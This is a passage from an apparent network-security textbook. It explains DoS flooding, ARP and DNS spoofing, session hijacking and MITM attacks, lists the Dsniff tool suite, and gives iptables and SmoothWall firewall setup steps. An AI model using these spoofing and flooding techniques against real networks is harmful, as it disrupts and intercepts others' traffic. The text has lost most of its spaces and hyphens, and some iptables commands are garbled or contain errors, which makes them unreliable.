This process continues ad infinitum, until one machine crashes, or starts dropping the datagrams. ThepingpongattackillustratedinFigure2.4hasthepotentialtocripplethenetworkbetween the two machines for a long time, because once the attack starts, it does not require the attackersfurtherintervention.AlsonotethatthepreviousexamplereferredtoasingleUDP datagram even from a slow connection, the attacker can slowly saturate each host's connection and stack it with packets. Disabling unnecessary services such as echo and chargencaneliminatethepotentialforthistypeofattack.

Figure2.4 DistributedFloodNets With only a handful of compromised machines taking part in a distributed ping flood, the attackercaneasilyTelnetinandmanuallystarttheattackoneach,butwhenthenumberof zombies,astheyarecommonlycalled,risestoafewhundred,thisbecomesimpractical.DDoS attacks increased dramatically in 1999, as two tools, developed to coordinate such compromised networks were released. Although Trinoo and TFN look primitive by today's standards,andhavebecomelargelyobsolete,theyareworthreviewingbecausetheyformthe basisformanymorerecentDDoSagents.

49

TheSmurfAttack TheSmurfisperhapsthemostdangerousofbandwidthconsumingDoSattacks.Itfirstgained recognitionin1997withthereleaseofproofofconceptcodebyTFreak.Sincethen,theSmurf, and it's descendent, the Fraggle, have achieved widespread popularity with script writers everywhere.InordertounderstandhowtheSmurfworks,itisimportanttotakeabriefdetour intoIPnetworking. IPintroducestheconceptofabroadcastaddress,whichiscalculatedbyapplyingthesubnet masktoanaddressonthenetwork;anydatadestinedforthisaddressissentontoeveryhost onthenetwork.

Pingingabroadcastaddressshowsataglancewhichhostsarealiveonthenetwork. Notallnetworksareconfiguredtorespondtobroadcasttrafficinthismanner,andmanythat are, do notallow it to passthrough borderrouters; but somenetworks do, and theseare referredtoasbroadcastamplifiers.Imaginethefollowingscenario:anattackersendsastream ofICMPechorequeststothebroadcastaddressofawellpopulatednetwork,havingrewritten thesourceaddresstothatofthevictimmachine.Eachmachineonthebroadcastamplifier respondstothepingrequestwithanICMPechoreply.Unfortunately,allthemachinesonthe broadcastamplifierhavebeenfooledastothetruesourceofthepingrequest,andsendtheir repliestothevictim,swampinghimorherwithtraffic. A broadcast amplifier usually contains several hundred responsive hosts on its network; occasionally,anamplifiercontainingseveralthousandhostswillemerge.Doingthemathshows thatevenfromadialupconnection,anattackercanstillgenerateenoughtraffictosaturatea T1. TheFraggleisavariationoftheSmurf,whichusesUDPbroadcasttrafficinsteadofICMP. AlthoughnotasseriousastheSmurf,Fragglescanstillgeneratealargevolumeoftraffic, includingICMPunreachablemessagesifthetargetedUDPportisnotopen. Thereisnocompletedefenseagainsteitherattack.FirewallyournetworkfromtheInternet;itis the best option. The only real solution is to educate administrators about the dangers of allowingtheirnetworkstobeusedasbroadcastamplifiers. 50

SYNFlooding OneofthemostpopularDoSattacksistheSYNflood,inwhichthevictimisbombardedwith connectionrequests,ultimatelycausinglegitimateconnectionstoberejected,whileconsuming system resources. Let us start by reviewing how a TCP connection between two hosts is created.TheclientsendsaTCPpacketwiththeSYN(synchronization)flagset[7].Uponreceipt of this packet, the server responds with a TCP packet, this time with the SYN and ACK (acknowledgment)flagsset.Finally,theclientrespondstotheSYNACKwithitsownACK.The connectionisnowestablished,anddatacanflow. WhathappensiftheclientfailstorespondtotheSYNACK?Theserversitswaitingforashort time(generally180seconds),andthengivesup;butmemoryassignedfortheconnectionis tiedupduringthiswaitingperiod.TheideabehindSYNfloodingistobombardtheserverwith SYN packets, but not followup with the final ACK. This leaves hundreds of halfopen connections,allconsumingmemory.Eventuallytheserverwillrunoutofmemory,orthekernel willdecidetherearetoomanypendingconnections.Legitimatehostsnewconnectionattempts willbedeniedeitherway. NonbandwidthorientedDoSAttacks Most networking daemons log their activities, the verbosity of such logs generally being configurablebytheadministrator.Logfilescanbequitelarge,andpotentiallyfillupthefiling system.Thismaycausethedaemonsthemselvestocrash,nottomentioncausingdozensof potentialproblemswiththerestofthesystem.Ifanattackercancauseyourlogfilestowritea largeamountofdata,hecanperformarathercrudeDoSattack.Mostdaemonslogconnection attempts,soanexploiterofthisproblemcanrepeatedlycreateandteardownconnectionsto thedaemon.Althoughitwilltakemanyhourstogeneratesignificantlogging,itwillultimatelybe effective.Themostpopulartypeofattackinthiscategoryistosendthousandsofemailstothe target,aprocessknownasmailbombing.Thisusesupsignificantdiskspace,causesnetwork congestion,andincreasesthememory/CPUusedbytheMailTransferAgent(MTA),which greatlyannoysanadministrator,whohastoattempttoseparatetheseemailsfromlegitimate emails.Unsolicitedjunkemail(spam)onbusymailservers(suchasthoseownedbyISPs) canhaveasimilareffectduetosheervolume.

51

TCP/IPATTACKS
TCPandIP,and,toalesserextent,UDPprotocols,formtheInternetsbackbone.Attacksthat utilizeshortcomingsintheseprotocolscanbepotentiallyveryserious,allowinganattackerto hijackconnectionsandinterceptnetworktraffic. CloselyrelatedtoIPareprotocolssuchasARPandDNS,whichaidinidentifyingmachineson theLocalAreaNetwork(LAN)andontheInternet,respectively.Bothareprimetargetsfor attack,astheyofferthecrackerthepotentialtoimpersonateothermachinesonthenetwork, perhapsallowinghimtobypasshostbasedauthenticationortoreceivesensitivedata.

ARPSpoofing
Media Access Control (MAC) addresses are a property of the Ethernet adapter (i.e., the networkingcard)ofahost,providingaunique48bitphysicaladdress.TheMACallowshosts onanEthernetnetworktocommunicate,regardlessoftheoverlyingprotocol.Sendingdata fromonemachinetoanotheronaLANisaproblemifthephysicaladdressisunknown.Thisis where Address Resolution Protocol (ARP) comes in. ARP converts IP addresses to MAC addresses,freeinghigherlevelsfromhavingtoknowanythingaboutthenetworksphysical topology. EachEthernethoststoresARPentriesinatable,andalsoinmemory(knownastheARP cache),forfasterlookups.ViewaLinuxmachine'sARPtableusingthearpcommand: #arp AddressHWtypeHWaddressFlagsMaskIface 192.168.0.2ether00:01:03:D3:9F:E4Ceth0 cablexxx.xxether00:0C:31:F5:54:8CCeth1 Topopulatethistableinthefirstplace,ARPsendsoutrequeststoallmachinesontheLAN (evenonaswitchednetwork),asking,"AreyoutheownerofIPaddressxxx.xxx.xxx.xxx?"If oneoftherecipientshasthisaddress,itreplieswithitsMACaddress.ARPisastateless protocol,andmanymachineswillblindlycachereplies,regardlessofwhetherarequestwas actually issued. ARPspoofing isthe process of sending bogus replies to poison a client's cachesinanattempttomisleadthemastowhoownswhichIP,resultinginpacketsbeingsent 52

tothewronghost,usuallyoneundertheattacker'scontrol. ARPspoofinggenerallyprecedespacketsniffing,connectionhijacking,oranattackonahost basedauthenticationservice.

DomainNameSystem(DNS)Attacks
Domain name resolution is something we all take for granted. Even if we understand the processbehindit,mostofusdonotthinkaboutitwhenweenterhttp://www.google.cominto ourwebbrowsers.ButwhatifaDomainNameSystem(DNS)cannotbetrusted[Schuba93]? Whatif,whenweattempttovisitourfavoriteonlinestore,theaddressresolvestothatofa blackhat'sserversetuptolooklikethestore? DomainNameSystem(DNS)CachePoisoning BINDusestransactionIDsasanadditionalmethodofauthenticatingDNSreplies(sourceport and IP are among the others). In 1997, it was discovered that these IDs were chosen sequentially, making it very easy for an attacker to send forged DNS replies. BINDs subsequentversionsimplementedrandomIDstocombatthisproblem.In2002,itwasfound thateventhiswasnotenough:bysendinghundredsofbogusreplies(Figure2.5),thechances ofhittingthecorrectIDincreased,andDNScachepoisoningbecameapracticalthreatagain.

Figure2.5:DNSCachePoisoning Thesequenceofeventsinthisattackis: Anattackersendshundredsofqueriesforaparticulardomain.Theattackeralsosendsspoofed 53

replies to these queries. The nameserver believes that these replies have come from the authoritiesnameserver,andcachestheresultsforlateruse.Sometimelater,thevictimclient requestsresolutionoftheaffecteddomainfromthenameserver.Thenameserverreplieswith thecachedanswerwhichiswrong.

IPSpoofing
Ofallthetechniqueslistedhere,IPspoofingissurelytheonemostwidelyreferredto,andyet theleastunderstoodformsofhackery;perhapsnotamongprofessionalsintheindustry,but certainlybytheaverageuser.Perhapsitisthehackersmythwhichcausessomanyusersto attributeanykindofmisleadinginformationbeitattackersoperatingbehindproxies,emails withafakefromheader,orIRCuserswithvhoststoIPspoofing;orperhapsitissimplya misunderstandingaboutwhatthephraseactuallymeans.Eitherway,IPspoofing'sdefinition seemstohavebecomerathervague. WhatexactlyisIPspoofing?Theactoffalsifyingthesourceaddressofapacketisactually rathertrivial.ThesourceaddressisjustoneofmanyfieldsinsideanIPheader,andthereis nothingtostopthesenderfromrewritingthisfieldtoavalueofhisownchoosing.Thereal difficultiesstartwhenthetargetmachineanswerstheseforgedpacketsbecausetherepliesend upbeingsenttothespoofedaddress,nottotheattack.Thisisnotgenerallyaproblemwith UDP/ICMPfloodingbecausetheresponseisnotimportant.Itdoes,however,presentprofound problemsforTCPconnections,andspoofingthesourceaddressinaTCPconnectionisthe most profitable, with many services, such as Berkleys R* Suite, using hostbased authentication. ConsidertheFigure2.6). BoththeclientandtheserverexchangeanInitialSequenceNumber[8](ISN),whichwewill refertoasISNcandISNs,respectivelyduringthisprocess: TheclientsendsaTCPpacketwiththeSYNflagset(asbefore);italsochoosesand tagsonanISNc TheserverincrementsISNc,andechoesitback,accompaniedbyitsownISNs TheclientrespondswithanACK,whichcontainsISNsincrementedbyone.Theoutputof

54

tcpdump(ausefulpacketcapturingtoolforLinuxandotherplatforms)helpstoillustrate this(asidefromprovidingyouwithusefulpracticeinreadingtcpdumpoutput)

Figure2.6 ThefollowingisanattemptfromanSSHclient(192.168.10.10)toopenaconnectiontothe SSHdaemonon192.168.10.1: #tcpdumpSt 192.168.10.10.57250>192.168.10.1.ssh:S3641941435:3641941435(0) win5840<mss1460,sackOK,timestamp568544330,nop,wscale0>(DF) 192.168.10.1.ssh>192.168.10.10.57250:S3038199363:3038199363(0) ack3641941436win5792<mss1460,sackOK,timestamp49651528 56854433,nop,wscale0>(DF) 192.168.10.10.57250>192.168.10.1.ssh:.ack3038199364win5840 <nop,nop,timestamp5685443349651528>(DF) .... LookwhathappenswhenanattackerattemptstoestablishaTCPconnectionusingaspoofed IPaddress.InFigure2.7,theserver'sSYNACK,whichincludesitsISN,isdispatchedoffto

55

machineA,whoseIPaddressisbeingspoofedbytheattacker.Thispresentsanimmediate problembecauseAwillpromptlyreplywithanRSTtoresetthisunknownconnectionattempt. The solution is to either wait until A is offline (for a maintenance/reboot, for example), or forcefullypreventitfromansweringbycripplingAwithaSYNflood.

Figure2.7 Thenextproblemissomewhattrickier.Theattacker,X,cannotseetheISNsentbymachineB tomachineA,andheneedsthisnumbertoincrementandechobackinthethirdstepofthe handshake.Whatisneededissomewaytopredictwhatthesequencenumberwillbe.Asit turnsout,sequencenumberinghashistoricallybeenrathereasytoguessinmostcasesitwas simply incremented by a fixed amount for every connection. Modern operating systems, includingLinux,gotogreatlengthstoensurethatISNsareasunpredictableaspossible,soitis raretoseethistypeofspoofinganymore. Hostbasedauthenticationhaslostfavor,andservicesthatemployitsuchasRSH,REXEC, andsoonarebeingsupersededbymoresecureprotocols,suchasSSH,whichdonotrely solelyonIPaddressesforauthentication. NonblindSpoofing Nonblindspoofingoccurswhenanattackerisonthesamesegmentasthevictim;unlikeblind spoofing,itisrelativelyeasytoperformbecausetheattackercansniffthesequencenumbers. Thebiggestdangerwithnonblindspoofingissessionhijacking,wheretheattackertakesover anexistingTCPconnection,thusbypassinganypasswordauthentication. InFigure2.8,theattackerhavingobservedthesequencenumbersinusesendsforgedTCP 56

packets to the server (or, less commonly, the client), effectively giving him control of the session.Unlikeblindspoofing,theattackerseestherepliesfromtheserverbecausetheyare onthesamesegment,makingthesessioninteractive.Thereisaproblem,however.Whenthe clientstartsreceivingACKstopacketsithasnotsent,itstartssendingitsownACKsbackto the server. These ACKs pingpong back and forth, create an ACK storm, and render the sessionsuseless.

Figure2.8 The solution, once again, is ARP spoofing. This can divert the flow of traffic through an attacker'smachine,andbyselectivelyforwardingthetraffic,theattackercanensurethatthese ACKsfromtheserverneverreachtheclient. Dsniff Dsniff, by Dug Song, is one of the most advanced open source sniffers available (http://www.monkey.org/~dugsong/dsniff/). Dsniff is more than just a sniffer. It is a suite of programs that can perform many of the sniffingbased attacks outlined in this chapter. Currently,itslatestversion,2.3,includesthefollowingprograms: Arpspoof:CreatesandsendsbogusARPreplies.

57

Dnsspoof:ForgesPTR(pointer)records. Dsniff:IncludespasswordsniffersupportingprotocolssuchasPOP,FTP,HTTP,Telnet, NFS,NetworkInformationService(NIS),NNTP,SimpleMailTransferProtocol(SMTP), andsoon. Filesnarf:SavesanyfilessniffedoverNFS. Macof: Floods the network with ARP replies from random MAC addresses, causing manyswitchestofailtoopen. Mailsnarf:SniffsandsavesemailtransmittedinSMTPorPOPconnectionsoverthe network. Msgsnarf:LogschatsessionsfrominstantmessagingclientssuchasICQ,Yahoo!,and AIM;andIRCsessions. Sshmitm:ExecutesManintheMiddleattackonSSH(seelatersection). Tcpkill:ResetsaTCPconnection. Urlsnarf:SnagsURLs.SomeWebsitesstoretheusername/passwordoftheuseraspart oftheURL. Webmitm:ExecutesHTTPSbasedManintheMiddleattack.

ManintheMiddle(MITM)Attacks
BothblindandnonblindIPspoofingareformsofamoregeneralclassofattackknownasMan intheMiddle(MITM)attacks.Whereassessionhijackinginvolvestakingoverfullcontrolfrom theclient,MITMattackscanbemuchmoresubtle,withtheattackermerelyinjectingdatainto thesessionwithouttakingitover.Inthiswaytheattackermaytricktheclientintorevealing sensitiveinformation(forexample,"Pleasereenteryourpassword").ProtocolssuchasSSH and HTTPS are not vulnerable to these injection attacks because not only is all the data encrypted,butintegritychecking,sequencing,andsourceauthenticationisalsopresent;but Dsniffagaincomestotherescuewithtwoprograms:SshmitmandWebmitm.Bothtrickthe 58

clientintothinkingitisconnectedtotherealserver(usingARPspoofing),andtheserverinto thinkingitisconnectedtotheclient.Inthisway,thekeysusedbyeachpartymayberecorded andusedforencryptinginjecteddata.

ReplayAttacks
EncryptioncansolvetheproblemofMITMattacksbecauseanydatacapturedbythecracker willbeinanunintelligibleformtohim;butthishasledtoanotherformofattackthereplay attack,inwhichsniffeddataissimplyrecorded,andlaterplayedbacktothevictim.Thisallows theattackertoimpersonateoneendoftheconnectioneventhoughheisunabletoviewthe sniffeddatainanunencryptedform.Becauseofthis,protocolssuchasSSHandHTTPSdonot useencryptiononitsown,butinconjunctionwithmethodsforguaranteeingtheintegrityofthe remotehost.

InjectionAttacks
Aninjectionattackinsertsdataintoanalreadyestablishedconnection.AMITMattackmustbe in progress for such a scenario to work, with the attacker acting as a relay between the connectionstwoends.Bymodifyingthesequencenumbersonthepacketsbeingrelayed,the attackercaneasilyinsertextrapacketswithouteithersidebeingawareofthefact.Injection attacks areusually used when a onetimepassword scheme isin use;merelysniffingthe password, or capturing the data for subsequent replay is futile. The data injected into the sequencecanbeanythingfromasimpleTCPRST(toclosetheconnection)toadate,which takesadvantageoftheclient/servertrusttoexecutecommandsontheserver.Injectionattacks are an extension of MITM attacks; measures that combat the latter will also eliminate the former.

59

OpenSourceFirewalls
Firewallsfiltertheincomingandoutgoingtrafficthatflowsthroughyoursystem.Afirewallcan useoneormoresetsofrulestoinspectthenetworkpacketsastheycomeinorgooutofyour networkconnections,andeitherallowsthetrafficthrough,orblocksit.Afirewallsrulescan inspectoneormorecharacteristicsofthepackets,including,butnotlimitedto,theprotocol type,thesourceordestinationhostaddress,andthesourceordestinationport. Firewallscangreatlyenhanceahostsoranetworkssecurity.They:

Protectandinsulateyourinternalnetworksapplications,servicesandmachinesfrom thepublicInternetsunwantedincomingtraffic. LimitordisableaccessfromtheinternalnetworkshoststothepublicInternetsservices SupportNetworkAddressTranslation(NAT),whichallowsyourinternalnetworktouse private IP addressesandshareasingleconnectiontothepublicInternet(eitherviaa singleIPaddress,orviaasharedpoolofautomaticallyassignedpublicaddresses).

Linuxhasseveralbuiltinfirewallapplications.Theymanipulateoneofthefollowingkernellevel utilities,andareknownas: Iptablesinkernelversions2.4x Ipchainsinkernelversions2.2x Ipfwadminkernelversion2.0

All three applications operate on a similar concept. Firewalls generally have two or more interfaces,and,underLinux,thisispossiblebyhavingtwoormorenetworkcardsinthebox. OneinterfacetypicallyconnectstotheinternalLAN;thisinterfaceisknownasthetrustedor privateinterface.Anotherinterfaceisforthepublic(WAN)sideofyourfirewall. Theremightalsobeathirdinterface,knownasaDMZ(fromthemilitaryterm,Demilitarized Zone),whichisusuallyreservedforserversthatneedtobemoreexposedtotheInternetso thatoutsideuserscanconnecttothem.Eachpacketthattriestopassthroughthemachineis passedthroughaseriesoffilters.Ifitmatchesthefilter,thensomeactionistakenonit:to throwitout,passitalong,ormasquerade(Masq)itwithaninternalprivateIPaddress.The bestpracticeforfirewallconfigurationistoalwaysdenyall,andthenselectivelyallowinsidethe trafficthatyouneed. 60

Someopensourcefirewallsarediscussedbelow:

Iptables
Iptablesisafirewall/packetfilterutilitybuiltintomostLinuxsystemswithKernelVersion2.4and later.Itallowsyoutocreateafirewallusingcommandsin your operatingsystem. Iptables evolvedfromearlierattemptsatfirewallsonLinux.Thefirstsystem,Ipfwadm,wasusedto createasimplesetofrules,toforwardordenypacketsbasedoncertaincriteria.Ipchainswas introducedinKernel2.2toovercomeIpfwadmslimitations. Ipchainswasmodularinarchitectureandworkedwell.However,withagrowingnumberof people using their firewalls for multiple functions (as a proxy server and NAT device, for example), Ipchains also became insufficient. Iptables updates these programs and accommodatesthemultiplefunctionsthattodaysfirewallsareexpectedtoperform.

InstallingIptables
MostLinuxsystemsonKernel2.4orhigherhavebuiltinIptables.Youdonothavetoinstallany additionalprograms. TodoublecheckthatIptablesisinstalled,typeiptablesLandseeifyougetaresponse.It shouldlistyourcurrentruleset. IfyoursystemdoesnothaveIptables,orifyouwanttogetthecodeslatestversion,goto http://www.netfilter.org/anddownloadtheRPMforyouroperatingsystem.

UsingIptables
IptablesandIpchainsobjectiveistocreatepipesofinput,processthemaccordingtoaruleset (yourfirewallconfiguration),andthensendthemintopipesofoutput.InIptables,thesepipes arecalledtables;inIpchains,theyareknownaschains.ThebasictablesusedinIptablesare: 61 Input Forward

Prerouting Postrouting Output

ThegeneralformatofanIptablesstatementis: iptablescommandrulespecificationextensions wherecommand,rulespecification,andextensionsareoneormoreofthevalidoptions.Table 3.1liststheIptablescommands.Table3.2containstheIptablesrulespecifications: Command Achain Ichainrulenum Dchain Rchainrulenum L F Description Appendsoneormorerulestotheendofthestatement Insertsachainatthelocationrulenum.Thisisusefulwhenyouwanta ruletosupersedethosebeforeit Deletestheindicatedchain Replacestheruleatrulenumwiththeprovidedchain Listsalltherulesinthecurrentchain Flushes all the rules in the current chain, basically deleting your firewallsconfiguration.Thisisgoodwhenbeginningaconfigurationto ensurethatnoexistingruleswillconflictwithyournewones Zerosoutallpacketandbytecountsinthenamedchain Createsanewchainwiththenameofchain Deletesthespecifiedchain.Ifnochainisspecified,itdeletesallchains Setsthepolicyforthespecifiedchaintopolicy

Zchain Nchain Xchains Pchainpolicy Table3.1 RuleSpecification pprotocol

Description Specifiesacertainprotocolfortheruletomatch.Validprotocoltypes areICMP,TCP,UDP,orall

saddress/mask!port Specifiesacertainaddressornetworktomatch.Useastandardslash

62

notationtodesignatearangeofIPaddresses.Aportnumber,ora rangeofportnumbers,canalsobespecifiedbyputtingthemafteran exclamationpoint jtarget Thistellswhattodowiththepacketifitmatchesthespecifications.The validoptionsforatargetare: DROP REJECT LOG MARK TOS Dropsthepacketwithoutanyfurtheraction Dropsthepacketandsendsanerrorpacketinreturn Logsthepackettoafile Marksthepacketforfurtheraction ChangestheTypeofService(ToS)bit

Invertsthesourceanddestinationaddressesand sends MIRROR them back out, essentially bouncing them back to the source SNAT StaticNAT.ThisoptionisusedwhenperformingNetwork Address Translation (NAT). It takes the source address andconvertsitintoanotherstaticvalue,specifiedwiththe switchtosource DynamicNAT.Similartotheabove,butusingadynamic rangeofIPaddresses MasqueradestheIPusingapublicIP

DNAT MASQ Table3.2

REDIRECT Redirectsthepacket

TheexampleinthefollowingprocedureassumesthatyourlocalLANsubnetis192.168.0.1 192.168.0.254;theeth1interfaceisyourlocalLANconnection,andthattheeth0interfaceis yourInternetorWANconnection. EliminateanyexistingruleswithaFlushcommand:

iptablesFFORWARD ThisflushesallrulesfortheFORWARDchain,whichisthemainfunnelforanypackets 63

wantingtopassthroughthefirewall. Flushtheotherchains:

iptablesFINPUT iptablesFOUTPUT Thisflushesanyrulestoyourlocalmachineandyouroutputchain. Putyourstandarddenyallstatementrightupfront:

iptablesPFORWARDDROP iptablesAINPUTieth0jDROP AcceptfragmentedpacketsinIptables.Thismustbeexplicitlydone. iptablesAFORWARDfjACCEPT Blocktwotypesofcommonattacksimmediately.Oneisspoofing,whensomeoneforges theIPpacketheaderstomakeitlookasifanoutsidepackethasaninternaladdress.By doingthis,someonecanrouteontoyourLANevenifyouhaveprivateIPaddresses. And a smurf attack sends a stream of packets to the LANs broadcast address to overwhelmthenetwork.Blocktheseattackswiththefollowingtwostatements:

iptablesAFORWARDs192.168.0.0/24Ieth0jDROP iptablesAFORWARDpicmpieth0d192.168.0.0/24jDENY ThefirststatementdropsanypacketscomingfromtheInternetinterfaceeth0withthe internal address 192.168.0.0/24. By definition, no packets should come from an untrustedinterfacewithaninternal,privatesourceaddress.Thesecondstatementdrops anypacketsofprotocolICMPcomingfromanoutsideaddresstotheinside. Generallyacceptincomingtrafficbasedonconnectionsinitiatedfromtheinside,like someonesurfingawebpage,forexample.Itisprobablyacceptableaslongasitisan internallyinitiated,ongoingconnection.Youcan,however,limitthetypeoftrafficallowed in.Letussaythatyouonlywanttoallowemployeeswebandemailaccess.Specifythe

64

typesoftraffictoallowthrough,onlyifitisonanalreadyinitiatedconnection.Youcan tellifitisanexistingconnectionbyseeingthattheACKbithasbeenset,i.e.,thatthe TCPthreewayhandshakehastakenplace.ThefollowingstatementsallowHTTPand webtrafficbasedonthesecriteria: iptablesAFORWARDptcpieth0d192.168.0.0/24dportswww,smtptcpflags SYN,ACKjACCEPT iptablesAFORWARDptcpieth0d192.168.0.0/24sportswww,smtptcpflags SYN,ACKjACCEPT Thedportstatementsaystoonlyallowemailandtheweb,andthetcpflagsstatement statesthatyouonlywantpacketswiththeACKfieldset. iptablesAFORWARDmmultiportptcpieth0d192.168.0.0/24dportssmtp synj ACCEPT ThemmultiportflagtellsIptablesthatyouwillbeissuingamatchstatementforports. The syn statement tells it to allow SYN packets, which means to initiate TCP connections.ThedportsflagallowsonlytheSMTPmailtraffic. Allowyouruserstoinitiateoutgoingconnections,butonlyontheprotocolsyouwant themtouse.Thisway,youcanpreventyourusersfromusingFTP,andothernon essentialprograms.TheallzeroIPaddressisshorthandforsayinganyaddress: iptablesAFORWARDmmultiportptcpieth0d0.0.0.0dportswww,smtpsyn jACCEPT AllowcertainincomingUDPpackets.UDPisusedforDNS,andifyoublockthat,your userswillbeunabletoresolveaddresses.BecausetheydonothaveastatelikeTCP packets,youcannotrelyoncheckingtheSYNorACKflags.ToallowUDPonlyonport 53,specifyadomain(abuiltinvariableforport52)astheonlyallowableportwiththese statements: Toacceptincomingconnectionsfromtheoutsideonlyoncertainports,suchasemail comingintoyourmailserver,usethefollowingstatement:

65

iptablesAFORWARDmmultiportpudpieth0d192.168.0.0/24dportsdomain jACCEPT iptablesAFORWARDmmultiportpudpieth0s192.168.0.0/24sportsdomain jACCEPT iptables A FORWARD m multiport p udp i eth1 d 0.0.0.0 dports domain j ACCEPT iptablesAFORWARDmmultiportpudpieth1s 0.0.0.0sportsdomainj ACCEPT TheabovementionedfirsttwostatementsallowtheincomingUDPdatagrams,andthe secondtwoallowtheoutboundconnections.DothesameforICMPpackets.Allowall typesofinternalICMPoutwards,butonlycertaintypes,suchasechoreply,inwardswith thefollowingstatements:

iptablesAFORWARDmmultiportpicmpIeth0d192.168.0.0/24dports0,3,11 jACCEPT iptables A FORWARD m multiport p icmp I eth1 d 0.0.0.0 dports 8,3,11 j ACCEPT Setuploggingtolookatthelogstoseewhatisbeingdropped.Viewthelogsfromtime totimeevenifthereisnoproblem,justtogetanideaaboutthekindsoftrafficbeing dropped.Ifyourepeatedlyseedroppedpacketsfromthesamenetworkoraddress,you areprobablyunderattack.Thefollowingstatementlogseachkindoftraffic:

iptablesAFORWARDmtcpptcpjLOG iptablesAFORWARDmudppudpjLOG iptablesAFORWARDmudppicmpjLOG

SmoothWall
SmoothWallisarobustopensourcefirewallpackage.Itisdesignedbyacompany andhas both a free GPL version, SmoothWall Express, and a commercial version, SmoothWall CorporateServer,withsomeadditionalfeaturesandenhancedtechnicalsupport. SomeofSmoothWallssalientfeaturesinclude: 66

VPN Support: SmoothWall integrates an IPSec Virtual Private Network (VPN) with firewall capabilities. This allows people on the outside (a fixed, remote office or a roamingsalesperson)tosecurelyaccesstheLocalAreaNetwork(LAN)viaanencrypted tunnel. DHCPClientandServer:TheclientallowsthefirewalltogetadynamicIPaddressforits WANinterface.ThisisacommonpracticeonDSLandcablemodemISPservice.Italso allowsthefirewalltoactas aDHCP serverfortheinternalLAN, andhands outIP addressesaccordingtoapresetpolicy.YoucanaddthesefunctionstoanIptables firewall,butthenyouwillhavetoinstallandmanagetwoseparateprograms. SSHandWebAccesstoaFirewall:Secureaccessviaacommandlineandaweb browser. WebProxyServer:Theabilitytosetupawebproxysothatallwebsitesareaccessed throughafirewall.Thisprovidessomelevelofwebsecurity,sinceanyexploitswillrun onthefirewall,andnotonthelocalmachine.Furtherprotectionisavailablethrougha contentfilteringoptionavailablefromSmoothWallLimited. Web Caching Server: Stores the most popular web pages for local access. This improvesaccesstimes,andlowersbandwidthusage. Intrusion Detection: SmoothWall offers some basic network intrusion detection capabilities. GraphsandReports:Runssomesimplereportsonfirewallactivityandgeneratesgraphs basedonthisdata. Support for Additional Connection Types: SmoothWall supports many types of interfaces,includingdialup,cable,ADSL,ISDN,andEthernet.Someoftheseinterfaces requireadditionalsoftwareandconfigurationwhensupportedunderIpchains.

SmoothWallsSystemRequirements
SmoothWalls minimum system specifications include a Pentiumclass, Intelcompatible PC, 67

runningat200Mhzorhigher,withatleast32MBRAM,and512MBdiskspace.Amoreoptimal configurationwouldbea500Mhzprocessor,with64MBRAM,and2GBdiskspace,inaddition to a CDROM drive, and at least one network card, typically two, if Ethernet is the WAN interface.

InstallingSmoothWall
SmoothWallneedstorunonadedicatedmachine.WhenyouinstallSmoothWall,iterasesany dataontheharddisk,andinstallsitsownoperatingsystemonit.Donotrunthisinstallationon acomputeronwhichyouhavedataorprogramsthatyouneed. CreateabootableCDROMdisk.UseCDwritingsoftware,suchasNeroorEasyCDCreator, andcreateadiskfromthe.isoimagefilefromtheSmoothWalldirectoryontheCDROMthat accompaniesthisbook. SetyourPCtobootfromtheCDROMfirst,otherwiseitwillsearchtheharddrive,andloadthe operatingsystemitfindsthere.DothisinaPCsBIOSsettings,accessedatbootupbeforethe OSloads.ManyPCsusetheF2functionkeytoenterthismode. Boot the machine from the CDROM. A title screen displays some basic licensing and disclaimerinformation.ClickonOK.YoucanchoosetoloadeitherfromtheCDROM,orfrom HTTP.Remember,donotenterthismodeunlessyouarereadyforallthedataonthathard disktobeerased,andreplacedwiththeSmoothWallsoftware. ChooseCDROM,andtheinstallationwillbegin. It will format the disk; probe your machine for its network interfaces, and autodetect any Network Interface Cards (NICs). Accept or skip each one, and set them up as firewall interfaces.If,forexample,youhavetwoNICsonyourcomputer,butonlywanttouseoneasa firewallinterfaceonthefirewall,definethathere. Defineeachselectedinterfacesattributes,andassignanIPaddressandasubnetmaskeach. SmoothWallnowinstallssomeadditionaldriverfiles.EjecttheCDROM.Youhavefinished installingtheprogram,andwillautomaticallyentersetupmode. Give SmoothWall a hostname in setup mode. Use the hostname to access the machine, 68

insteadofusingitsLANIPaddress. Next,itasksifyouwanttoinstalltheconfigurationfromabackup.Shouldthesystemcrash,this allowsyoutoeasilyrestoreyourfirewalltoitsoriginalconfiguration.Donotselectthisunless youareintheprocessofrestoringfromabackup. Assumingyouchosetosetupanewfirewall(notfromabackup)inthepreviousstep,youwill bepromptedtosetupseveralnetworktypes: ISDN: LeavethissettoDisableifyouarenotusingISDN.Ifyouare,addtheappropriate parametersforyourIDSNline. ADSL: Thissectionisnecessary onlyifyouareusingADSL,andactuallyhaveanADSL modeminyourcomputer.LeavethisonDisableifyoudonotuseADSLservice,orifthe providergivesyouanexternalmodemtopluginto.Ifso,clickonthesettingsforyourADSL service. NetworkConfiguration:SmoothWalldividesitszonesintothreecategories: Green:Aninternalnetworksegmenttobeprotected,oryourtrustednetwork. Red:TheexternalnetworktobefirewalledofffromtheLAN.Theuntrustednetwork,usually theInternet,oreverythingthatisnotyourLAN. Orange:Thisoptionalsegmentcontainsmachinesthatyougenerallytrust,butneed,inorder to be exposed to the Internet (the DMZ mentioned earlier). Should one of the servers be compromised,thisprotectsyourinternalLAN,sinceDMZnodesdonothaveaccesstotheLAN bydefault,andalsoallowthesemachinestobeaccessedbytheoutsideworld. Selecttheappropriateconfigurationforyournetwork.MostsimplenetworkswilluseGreen (RedisformodemsorISDN),orGreenandRedifyouhavetwoNICcardsinthemachine. SetuptheDHCPserver.Enableitifyouwantyourfirewalltohandout,andmanage,dynamic IPaddressesonyourLAN,otherwiseleaveitturnedoff.Settheassignedrange,andgiveout theDNSandleasetimesfortheaddresses.

69

